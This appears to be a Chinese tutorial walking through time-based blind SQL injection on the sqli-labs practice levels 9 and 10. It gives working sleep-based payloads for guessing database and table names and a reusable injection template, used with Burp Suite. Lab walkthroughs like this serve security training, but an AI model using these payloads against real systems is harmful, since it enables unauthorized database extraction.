盲注-时间盲注
盲注有两种:
- 基于布尔的盲注
- 基于时间的盲注
我们之前讲到过布尔盲注,但是今天这个关卡很无赖,不管你什么条件,他就给你返回一个页面。你没法判断,因此时间盲注的重要性就体现出来了。
1. 分析问题
打开sqli网站,进入less-9。发现?id=1' and 1=1 --+
和 ?id=1' and 1=2 --+
返回的结果一模一样。这样子,我们就无法判断id
的类型了。因此在这里,我们使用?id=1' and sleep(5) --+
发现网站返回页面有明显的延迟。
说明我们构造的语句生效了,而id
是用单引号''
包裹的。
2. 使用burp suite拦截注入
接着我们就开始注入。
2.1 破解数据库名字
首先猜当前数据库的长度:
?id=1' and if(length(database())=1, sleep(5), 1) --+
开始攻击:
然后我们来猜出当前使用的数据库的名字:
构造sql语句:
?id=1%27 and if( ascii(substr(database(), 1, 1))=115, sleep(5),1) --+
然后用burp suite
拦截。进行参数设置
设置参数:
开始攻击:
2.2 破解所有数据库下的数据表name
首先猜当前数据库下有多少张数据表:
?id=1' and if((select count(*) from information_schema.tables where table_schema="security")=1, sleep(5), 1) --+
由此可得,security
数据库下有四张数据表。
首先获得第一个数据表名字的长度:
然后判断数据表的名字。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0, 1), 1, 1))=101, sleep(5), 1) --+
参数配置就不再展示了,直接看结果:
这样我们就得到了第一个表的名字。
那么后续的字段和破解和上面都是一个套路,我就不再多说了。
3. 小结
总结一下时间盲注的破解语句通用套路:
?id=1' and if((payload), sleep(5), 1) --+
4. less-10
less-10和9的套路一样,只是10的id
用的是双引号,改一下就可以。